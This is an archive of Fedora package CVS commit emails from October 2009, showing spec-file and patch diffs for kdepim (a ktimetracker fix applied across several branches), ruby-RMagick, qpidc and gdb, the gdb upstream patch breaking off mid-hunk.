In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8940/F-10

Modified Files:
	kdepim.spec 
Added Files:
	kdepim-4.3.2-unbreak-ktimetracker.patch 
Log Message:
* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- unbreak ktimetracker (#532055, kde#209570, patch from upstream)

kdepim-4.3.2-unbreak-ktimetracker.patch:
 mainwindow.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE kdepim-4.3.2-unbreak-ktimetracker.patch ---
Index: ktimetracker/mainwindow.cpp
===================================================================
--- ktimetracker/mainwindow.cpp	(revision 1035758)
+++ ktimetracker/mainwindow.cpp	(revision 1035759)
@@ -73,6 +73,7 @@
       ((TimetrackerWidget) (m_part->widget())).openFile(icsfile);
       connect(configureAction, SIGNAL(triggered(bool)),
         m_part->widget(), SLOT(showSettingsDialog()));
+      ((TimetrackerWidget *) (m_part->widget()))->setupActions(actionCollection());
       m_part->openFile(icsfile);
       setupGUI();
     }


Index: kdepim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/F-10/kdepim.spec,v
retrieving revision 1.221
retrieving revision 1.222
diff -u -p -r1.221 -r1.222
--- kdepim.spec	7 Oct 2009 11:58:22 -0000	1.221
+++ kdepim.spec	30 Oct 2009 19:44:24 -0000	1.222
@@ -6,7 +6,7 @@ Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -15,7 +15,10 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:  kdepim-4.1.80-libqgpgme-link-fix.patch
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
-# 4.3.1 upstream
+# upstream patches (4.3 branch):
+# unbreak ktimetracker (#532055, kde#209570)
+# backported from 4.3.3: http://websvn.kde.org/?view=revision&revision=1035759
+Patch100: kdepim-4.3.2-unbreak-ktimetracker.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -96,6 +99,7 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
+%patch100 -p0 -b .unbreak-ktimetracker
 
 
 %build
@@ -214,6 +218,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- unbreak ktimetracker (#532055, kde#209570, patch from upstream)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Fri Oct 30 19:44:26 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri, 30 Oct 2009 19:44:26 +0000 (UTC)
Subject: rpms/kdepim/F-12 kdepim-4.3.2-unbreak-ktimetracker.patch, NONE,
	1.1 kdepim.spec, 1.239, 1.240
Message-ID: <20091030194426.2E12511C0337@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdepim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8940/F-12

Modified Files:
	kdepim.spec 
Added Files:
	kdepim-4.3.2-unbreak-ktimetracker.patch 
Log Message:
* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- unbreak ktimetracker (#532055, kde#209570, patch from upstream)

kdepim-4.3.2-unbreak-ktimetracker.patch:
 mainwindow.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE kdepim-4.3.2-unbreak-ktimetracker.patch ---
Index: ktimetracker/mainwindow.cpp
===================================================================
--- ktimetracker/mainwindow.cpp	(revision 1035758)
+++ ktimetracker/mainwindow.cpp	(revision 1035759)
@@ -73,6 +73,7 @@
       ((TimetrackerWidget) (m_part->widget())).openFile(icsfile);
       connect(configureAction, SIGNAL(triggered(bool)),
         m_part->widget(), SLOT(showSettingsDialog()));
+      ((TimetrackerWidget *) (m_part->widget()))->setupActions(actionCollection());
       m_part->openFile(icsfile);
       setupGUI();
     }


Index: kdepim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/F-12/kdepim.spec,v
retrieving revision 1.239
retrieving revision 1.240
diff -u -p -r1.239 -r1.240
--- kdepim.spec	7 Oct 2009 11:58:24 -0000	1.239
+++ kdepim.spec	30 Oct 2009 19:44:25 -0000	1.240
@@ -6,7 +6,7 @@ Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -15,7 +15,10 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:  kdepim-4.1.80-libqgpgme-link-fix.patch
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
-# 4.3.1 upstream
+# upstream patches (4.3 branch):
+# unbreak ktimetracker (#532055, kde#209570)
+# backported from 4.3.3: http://websvn.kde.org/?view=revision&revision=1035759
+Patch100: kdepim-4.3.2-unbreak-ktimetracker.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -96,6 +99,7 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
+%patch100 -p0 -b .unbreak-ktimetracker
 
 
 %build
@@ -214,6 +218,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- unbreak ktimetracker (#532055, kde#209570, patch from upstream)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Fri Oct 30 19:44:25 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri, 30 Oct 2009 19:44:25 +0000 (UTC)
Subject: rpms/kdepim/F-11 kdepim-4.3.2-unbreak-ktimetracker.patch, NONE,
	1.1 kdepim.spec, 1.227, 1.228
Message-ID: <20091030194425.DBD6311C02A0@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdepim/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8940/F-11

Modified Files:
	kdepim.spec 
Added Files:
	kdepim-4.3.2-unbreak-ktimetracker.patch 
Log Message:
* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- unbreak ktimetracker (#532055, kde#209570, patch from upstream)

kdepim-4.3.2-unbreak-ktimetracker.patch:
 mainwindow.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE kdepim-4.3.2-unbreak-ktimetracker.patch ---
Index: ktimetracker/mainwindow.cpp
===================================================================
--- ktimetracker/mainwindow.cpp	(revision 1035758)
+++ ktimetracker/mainwindow.cpp	(revision 1035759)
@@ -73,6 +73,7 @@
       ((TimetrackerWidget) (m_part->widget())).openFile(icsfile);
       connect(configureAction, SIGNAL(triggered(bool)),
         m_part->widget(), SLOT(showSettingsDialog()));
+      ((TimetrackerWidget *) (m_part->widget()))->setupActions(actionCollection());
       m_part->openFile(icsfile);
       setupGUI();
     }


Index: kdepim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/F-11/kdepim.spec,v
retrieving revision 1.227
retrieving revision 1.228
diff -u -p -r1.227 -r1.228
--- kdepim.spec	7 Oct 2009 11:58:24 -0000	1.227
+++ kdepim.spec	30 Oct 2009 19:44:25 -0000	1.228
@@ -6,7 +6,7 @@ Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -15,7 +15,10 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:  kdepim-4.1.80-libqgpgme-link-fix.patch
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
-# 4.3.1 upstream
+# upstream patches (4.3 branch):
+# unbreak ktimetracker (#532055, kde#209570)
+# backported from 4.3.3: http://websvn.kde.org/?view=revision&revision=1035759
+Patch100: kdepim-4.3.2-unbreak-ktimetracker.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -96,6 +99,7 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
+%patch100 -p0 -b .unbreak-ktimetracker
 
 
 %build
@@ -214,6 +218,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- unbreak ktimetracker (#532055, kde#209570, patch from upstream)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Fri Oct 30 19:44:27 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri, 30 Oct 2009 19:44:27 +0000 (UTC)
Subject: rpms/kdepim/devel kdepim-4.3.2-unbreak-ktimetracker.patch, NONE,
	1.1 kdepim.spec, 1.239, 1.240
Message-ID: <20091030194427.174C711C0337@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdepim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8940/devel

Modified Files:
	kdepim.spec 
Added Files:
	kdepim-4.3.2-unbreak-ktimetracker.patch 
Log Message:
* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- unbreak ktimetracker (#532055, kde#209570, patch from upstream)

kdepim-4.3.2-unbreak-ktimetracker.patch:
 mainwindow.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE kdepim-4.3.2-unbreak-ktimetracker.patch ---
Index: ktimetracker/mainwindow.cpp
===================================================================
--- ktimetracker/mainwindow.cpp	(revision 1035758)
+++ ktimetracker/mainwindow.cpp	(revision 1035759)
@@ -73,6 +73,7 @@
       ((TimetrackerWidget) (m_part->widget())).openFile(icsfile);
       connect(configureAction, SIGNAL(triggered(bool)),
         m_part->widget(), SLOT(showSettingsDialog()));
+      ((TimetrackerWidget *) (m_part->widget()))->setupActions(actionCollection());
       m_part->openFile(icsfile);
       setupGUI();
     }


Index: kdepim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim/devel/kdepim.spec,v
retrieving revision 1.239
retrieving revision 1.240
diff -u -p -r1.239 -r1.240
--- kdepim.spec	5 Oct 2009 14:44:04 -0000	1.239
+++ kdepim.spec	30 Oct 2009 19:44:26 -0000	1.240
@@ -6,7 +6,7 @@ Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -15,7 +15,10 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:  kdepim-4.1.80-libqgpgme-link-fix.patch
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
-# 4.3.1 upstream
+# upstream patches (4.3 branch):
+# unbreak ktimetracker (#532055, kde#209570)
+# backported from 4.3.3: http://websvn.kde.org/?view=revision&revision=1035759
+Patch100: kdepim-4.3.2-unbreak-ktimetracker.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -96,6 +99,7 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
+%patch100 -p0 -b .unbreak-ktimetracker
 
 
 %build
@@ -214,6 +218,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- unbreak ktimetracker (#532055, kde#209570, patch from upstream)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From mtasaka at fedoraproject.org  Fri Oct 30 19:44:49 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 30 Oct 2009 19:44:49 +0000 (UTC)
Subject: rpms/ruby-RMagick/devel .cvsignore, 1.23, 1.24 ruby-RMagick.spec,
	1.35, 1.36 sources, 1.23, 1.24
Message-ID: <20091030194449.D974611C00E8@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby-RMagick/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9164

Modified Files:
	.cvsignore ruby-RMagick.spec sources 
Log Message:
* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
- 2.12.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	9 Sep 2009 16:08:55 -0000	1.23
+++ .cvsignore	30 Oct 2009 19:44:49 -0000	1.24
@@ -1 +1 @@
-RMagick-2.11.1.tar.bz2
+RMagick-2.12.2.tar.bz2


Index: ruby-RMagick.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/devel/ruby-RMagick.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- ruby-RMagick.spec	9 Sep 2009 16:08:55 -0000	1.35
+++ ruby-RMagick.spec	30 Oct 2009 19:44:49 -0000	1.36
@@ -4,7 +4,7 @@
 %define		rubyabi		1.8
 
 %define		modname		RMagick
-%define		repoid		63234
+%define		repoid		65318
 
 %define setIMver() \
 %if 0%{?fedora} == %1 \
@@ -13,7 +13,7 @@ Requires:		ImageMagick = %2\
 %endif \
 %{nil}
 
-%define		mainver		2.11.1
+%define		mainver		2.12.2
 %undefine		betaver		
 %define		fedorarel	1
 
@@ -53,6 +53,7 @@ ImageMagick and GraphicsMagick image pro
 %package	doc
 Summary:	Documentation for %{name}
 Group:		Documentation
+BuildArch:	noarch
 
 %description	doc
 This package contains documentaton files for %{name}.
@@ -105,6 +106,9 @@ touch -r README.html DOCDIR/README.html
 %doc DOCDIR/HTML/*
 
 %changelog
+* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
+- 2.12.2
+
 * Thu Sep 10 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.11.1-1
 - 2.11.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	9 Sep 2009 16:08:55 -0000	1.23
+++ sources	30 Oct 2009 19:44:49 -0000	1.24
@@ -1 +1 @@
-62a9fc1c8ba9c4a986725aa33915c24b  RMagick-2.11.1.tar.bz2
+063db8fa74179467dc603943f55523c5  RMagick-2.12.2.tar.bz2



From nsantos at fedoraproject.org  Fri Oct 30 19:49:57 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 30 Oct 2009 19:49:57 +0000 (UTC)
Subject: rpms/qpidc/devel qpidc.spec,1.105,1.106
Message-ID: <20091030194957.AF5CE11C00E8@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10613

Modified Files:
	qpidc.spec 
Log Message:
Finish renaming of subpackages


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/devel/qpidc.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- qpidc.spec	27 Oct 2009 21:19:02 -0000	1.105
+++ qpidc.spec	30 Oct 2009 19:49:57 -0000	1.106
@@ -8,13 +8,14 @@
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
 %define qpid_svnrev 819819
-%define rhm_svnrev 3641
+%define rhm_svnrev  3641
 
-%define cli qpid-cpp-client
-%define srv qpid-cpp-server
+%define new qpid-cpp
 %define old qpidc
+%define cli %{new}-client
+%define srv %{new}-server
 
-Name:           %{cli}
+Name:           %{new}
 Version:        0.5.%{qpid_svnrev}
 Release:        2%{?dist}
 Summary:        Libraries for Qpid C++ client applications
@@ -30,7 +31,7 @@ BuildRoot:      %{_tmppath}/%{old}-%{ver
 BuildRequires: boost-devel
 BuildRequires: doxygen
 BuildRequires: e2fsprogs-devel
-BuildRequires: libuuid-devel
+##################BuildRequires: libuuid-devel
 BuildRequires: libtool
 BuildRequires: pkgconfig
 BuildRequires: ruby
@@ -50,13 +51,21 @@ BuildRequires: corosynclib-devel >= 1.0.
 BuildRequires: clusterlib-devel >= 3.0.0-20
 BuildRequires: swig
 
-%ifarch i686 x86_64
+%ifarch i386 i586 i686 x86_64
 #RHM
 BuildRequires: db4-devel
 BuildRequires: libaio-devel
 #/RHM
 %endif
 
+%description
+
+Run-time libraries for AMQP client applications developed using Qpid
+C++. Clients exchange messages with an AMQP message broker using
+the AMQP protocol.
+
+%package client
+Summary:        Libraries for Qpid C++ client applications
 Requires: boost
 Obsoletes: qpidc
 
@@ -65,7 +74,8 @@ Requires(preun):/sbin/chkconfig
 Requires(preun):/sbin/service
 Requires(postun):/sbin/service
 
-%description
+%description client
+
 Run-time libraries for AMQP client applications developed using Qpid
 C++. Clients exchange messages with an AMQP message broker using
 the AMQP protocol.
@@ -216,7 +226,7 @@ Obsoletes: qpidd-cluster
 %description -n %{srv}-cluster
 A Qpid daemon plugin enabling broker clustering using openais
 
-%ifarch i686 x86_64
+%ifarch i386 i586 i686 x86_64
 #RHM
 %package -n rhm-cpp-server-store
 Summary: Red Hat persistence extension to the Qpid messaging system
@@ -265,7 +275,7 @@ done
 popd
 popd
 
-%ifarch i686 x86_64
+%ifarch i386 i586 i686 x86_64
 #RHM
 pushd ../rhm-0.5.%{rhm_svnrev}
 export CXXFLAGS="%{optflags} -DNDEBUG" 
@@ -317,7 +327,7 @@ rm -fr %{buildroot}%_libexecdir/qpid/tes
 rm -f %{buildroot}%{ruby_sitearch}/qmfengine.la
 popd
 
-%ifarch i686 x86_64
+%ifarch i386 i586 i686 x86_64
 #RHM
 pushd %{_builddir}/rhm-0.5.%{rhm_svnrev}
 make install DESTDIR=%{buildroot}
@@ -343,7 +353,7 @@ rm -rf %{buildroot}
 #LANG=C ECHO=echo make check
 #popd
 
-%ifarch i686 x86_64
+%ifarch i386 i586 i686 x86_64
 #RHM
 #pushd %{_builddir}/rhm-0.5.%{rhm_svnrev}
 #make check
@@ -351,7 +361,7 @@ rm -rf %{buildroot}
 #/RHM
 %endif
 
-%files
+%files client
 %defattr(-,root,root,-)
 %doc cpp/LICENSE cpp/NOTICE cpp/README cpp/INSTALL cpp/RELEASE_NOTES cpp/DESIGN
 %_libdir/libqpidcommon.so.3
@@ -469,7 +479,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc cpp/docs/api/html
 
-%ifarch i686 x86_64
+%ifarch i386 i586 i686 x86_64
 %files -n rhm-cpp-server-store
 %defattr(-,root,root,-)
 %doc ../rhm-0.5.%{rhm_svnrev}/README 



From nsantos at fedoraproject.org  Fri Oct 30 19:50:49 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 30 Oct 2009 19:50:49 +0000 (UTC)
Subject: rpms/qpidc/devel qpidc.spec,1.106,1.107
Message-ID: <20091030195049.D6B7A11C0371@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10928

Modified Files:
	qpidc.spec 
Log Message:
Finish renaming of subpackages


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/devel/qpidc.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- qpidc.spec	30 Oct 2009 19:49:57 -0000	1.106
+++ qpidc.spec	30 Oct 2009 19:50:49 -0000	1.107
@@ -31,7 +31,7 @@ BuildRoot:      %{_tmppath}/%{old}-%{ver
 BuildRequires: boost-devel
 BuildRequires: doxygen
 BuildRequires: e2fsprogs-devel
-##################BuildRequires: libuuid-devel
+BuildRequires: libuuid-devel
 BuildRequires: libtool
 BuildRequires: pkgconfig
 BuildRequires: ruby



From jkratoch at fedoraproject.org  Fri Oct 30 19:52:28 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Fri, 30 Oct 2009 19:52:28 +0000 (UTC)
Subject: rpms/gdb/F-12 gdb-7.0-upstream.patch,NONE,1.1 gdb.spec,1.396,1.397
Message-ID: <20091030195228.921A011C00E8@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/gdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11455

Modified Files:
	gdb.spec 
Added Files:
	gdb-7.0-upstream.patch 
Log Message:
* Fri Oct 30 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-6
- Fix missing zlib-devel BuildRequires to support compressed DWARF sections.
- Include post-7.0 FSF GDB fixes.


gdb-7.0-upstream.patch:
 amd64fbsd-nat.c |    3 ++
 dwarf2-frame.c  |    8 ++++++
 elfread.c       |    3 +-
 objfiles.c      |   16 +++++++++++++
 score-tdep.c    |   52 --------------------------------------------
 score-tdep.h    |   66 --------------------------------------------------------
 6 files changed, 30 insertions(+), 118 deletions(-)

--- NEW FILE gdb-7.0-upstream.patch ---
### ./gdb/ChangeLog	6 Oct 2009 16:32:30 -0000	1.10874.2.46
### ./gdb/ChangeLog	22 Oct 2009 20:31:36 -0000	1.10874.2.52
## -1,3 +1,33 @@
+2009-10-22  Paul Pluzhnikov  <ppluzhnikov at google.com>
+
+	PR gdb/10819
+	* dwarf2-frame.c (find_cie): Don't call bsearch on empty cie_table.
+	* objfiles.c (find_pc_section): Likewise.
+	(update_section_map): Don't allocate empty table.
+	
+2009-10-19  Don Lee  <don.lee at sunplusct.com>
+
+	* score-tdep.c: Delete some simulator dependent codes.
+	* score-tdep.h: Delete some simulator dependent macro definitions.
+
+2008-10-16  Steven G. Kargl  <kargl at gcc.gnu.org>  (tiny patch)
+
+	* amd64fbsd-nat.c (amd64fbsd_supply_pcb): Conditionally compile in
+	support for pcb->pcb_{fs,ds,es,gs} on FreeBSD older than 8.0.
+
+2009-10-08  Paul Pluzhnikov  <ppluzhnikov at google.com>
+
+	PR gdb/10457
+	* elfread.c (elf_symtab_read): Don't use alloca in a loop.
+	
+2009-10-06  Joel Brobecker  <brobecker at adacore.com>
+
+	* version.in: Set version to 7.0.0.20091006-cvs.
+
+2009-10-06  Joel Brobecker  <brobecker at adacore.com>
+
+	GDB 7.0 released.
+
 2009-10-06  Joel Brobecker  <brobecker at adacore.com>
 
 	* NEWS: Change "Changes since GDB 6.8" into "Changes in GDB 7.0".
--- ./gdb/amd64fbsd-nat.c	3 Jan 2009 05:57:50 -0000	1.22
+++ ./gdb/amd64fbsd-nat.c	17 Oct 2009 04:19:19 -0000	1.22.4.1
@@ -95,6 +95,7 @@ static int amd64fbsd32_r_reg_offset[I386
 
 #include <sys/types.h>
 #include <machine/pcb.h>
+#include <osreldate.h>
 
 #include "bsd-kvm.h"
 
@@ -123,10 +124,12 @@ amd64fbsd_supply_pcb (struct regcache *r
   regcache_raw_supply (regcache, 13, &pcb->pcb_r13);
   regcache_raw_supply (regcache, 14, &pcb->pcb_r14);
   regcache_raw_supply (regcache, 15, &pcb->pcb_r15);
+#if (__FreeBSD_version <  800075)
   regcache_raw_supply (regcache, AMD64_DS_REGNUM, &pcb->pcb_ds);
   regcache_raw_supply (regcache, AMD64_ES_REGNUM, &pcb->pcb_es);
   regcache_raw_supply (regcache, AMD64_FS_REGNUM, &pcb->pcb_fs);
   regcache_raw_supply (regcache, AMD64_GS_REGNUM, &pcb->pcb_gs);
+#endif
 
   return 1;
 }
--- ./gdb/dwarf2-frame.c	15 Sep 2009 16:20:53 -0000	1.99
+++ ./gdb/dwarf2-frame.c	22 Oct 2009 20:31:36 -0000	1.99.2.1
@@ -1525,6 +1525,14 @@ find_cie (struct dwarf2_cie_table *cie_t
 {
   struct dwarf2_cie **p_cie;
 
+  /* The C standard (ISO/IEC 9899:TC2) requires the BASE argument to
+     bsearch be non-NULL.  */
+  if (cie_table->entries == NULL)
+    {
+      gdb_assert (cie_table->num_entries == 0);
+      return NULL;
+    }
+
   p_cie = bsearch (&cie_pointer, cie_table->entries, cie_table->num_entries,
                    sizeof (cie_table->entries[0]), bsearch_cie_cmp);
   if (p_cie != NULL)
--- ./gdb/elfread.c	30 Apr 2009 21:59:03 -0000	1.77
+++ ./gdb/elfread.c	8 Oct 2009 17:42:10 -0000	1.77.4.1
@@ -535,7 +535,7 @@ elf_symtab_read (struct objfile *objfile
 
 	      if (len > 4 && strcmp (sym->name + len - 4, "@plt") == 0)
 		{
-		  char *base_name = alloca (len - 4 + 1);
+		  char *base_name = xmalloc (len - 4 + 1);
 		  struct minimal_symbol *mtramp;
 
 		  memcpy (base_name, sym->name, len - 4);
@@ -543,6 +543,7 @@ elf_symtab_read (struct objfile *objfile
 		  mtramp = record_minimal_symbol (base_name, symaddr,
 						  mst_solib_trampoline,
 						  sym->section, objfile);
+		  xfree (base_name);
 		  if (mtramp)
 		    {
 		      MSYMBOL_SIZE (mtramp) = MSYMBOL_SIZE (msym);
--- ./gdb/objfiles.c	18 Sep 2009 17:39:36 -0000	1.96.2.1
+++ ./gdb/objfiles.c	22 Oct 2009 20:31:36 -0000	1.96.2.2
@@ -1045,6 +1045,14 @@ update_section_map (struct obj_section *
     if (insert_section_p (objfile->obfd, s->the_bfd_section))
       alloc_size += 1;
 
+  /* This happens on detach/attach (e.g. in gdb.base/attach.exp).  */
+  if (alloc_size == 0)
+    {
+      *pmap = NULL;
+      *pmap_size = 0;
+      return;
+    }
+
   map = xmalloc (alloc_size * sizeof (*map));
 
   i = 0;
@@ -1105,6 +1113,14 @@ find_pc_section (CORE_ADDR pc)
       objfiles_changed_p = 0;
     }
 
+  /* The C standard (ISO/IEC 9899:TC2) requires the BASE argument to
+     bsearch be non-NULL.  */
+  if (sections == NULL)
+    {
+      gdb_assert (num_sections == 0);
+      return NULL;
+    }
+
   sp = (struct obj_section **) bsearch (&pc, sections, num_sections,
 					sizeof (*sections), bsearch_cmp);
   if (sp != NULL)
--- ./gdb/score-tdep.c	6 Aug 2009 10:28:38 -0000	1.21
+++ ./gdb/score-tdep.c	19 Oct 2009 09:02:18 -0000	1.21.2.1
@@ -56,58 +56,6 @@ struct score_frame_cache
 
 static int target_mach = bfd_mach_score7;
 
-#if WITH_SIM
-int
-score_target_can_use_watch (int type, int cnt, int othertype)
-{
-  if (strcmp (current_target.to_shortname, "sim") == 0)
-      return soc_gh_can_use_watch (type, cnt);
-  return (*current_target.to_can_use_hw_breakpoint) (type, cnt, othertype);
-}
-
-int
-score_stopped_by_watch (void)
-{
-  if (strcmp (current_target.to_shortname, "sim") == 0)
-      return soc_gh_stopped_by_watch ();
-  return (*current_target.to_stopped_by_watchpoint) ();
-}
-
-int
-score_target_insert_watchpoint (CORE_ADDR addr, int len, int type)
-{
-  if (strcmp (current_target.to_shortname, "sim") == 0)
-      return soc_gh_add_watch (addr, len, type);
-  return (*current_target.to_insert_watchpoint) (addr, len, type); 
-}
-
-int
-score_target_remove_watchpoint (CORE_ADDR addr, int len, int type)
-{
-  if (strcmp (current_target.to_shortname, "sim") == 0)
-      return soc_gh_del_watch (addr, len, type);
-  return (*current_target.to_remove_watchpoint) (addr, len, type); 
-}
-
-int
-score_target_insert_hw_breakpoint (struct gdbarch *gdbarch,
-				   struct bp_target_info * bp_tgt)
-{
-  if (strcmp (current_target.to_shortname, "sim") == 0)
-      return soc_gh_add_hardbp (bp_tgt->placed_address);
-  return (*current_target.to_insert_hw_breakpoint) (gdbarch, bp_tgt);
-}
-
-int
-score_target_remove_hw_breakpoint (struct gdbarch *gdbarch,
-				   struct bp_target_info * bp_tgt)
-{
-  if (strcmp (current_target.to_shortname, "sim") == 0)
-      return soc_gh_del_hardbp (bp_tgt->placed_address);
-  return (*current_target.to_remove_hw_breakpoint) (gdbarch, bp_tgt); 
-}
-#endif
-
 static struct type *
 score_register_type (struct gdbarch *gdbarch, int regnum)
 {
--- ./gdb/score-tdep.h	6 Aug 2009 10:28:38 -0000	1.6
+++ ./gdb/score-tdep.h	19 Oct 2009 09:02:18 -0000	1.6.2.1
@@ -85,68 +85,4 @@ struct pt_regs {
 
 typedef struct pt_regs elf_gregset_t;
 
-#ifdef WITH_SIM
-
-#include <breakpoint.h>
-
-int soc_gh_can_use_watch(int type, int cnt);
-int soc_gh_add_watch(unsigned int addr, int len, int type);
-int soc_gh_del_watch(unsigned int addr, int len, int type);
-int soc_gh_stopped_by_watch(void);
-int soc_gh_add_hardbp(unsigned int addr); 
-int soc_gh_del_hardbp(unsigned int addr); 
-
-int score_target_can_use_watch(int type, int cnt, int ot);
-int score_stopped_by_watch(void);
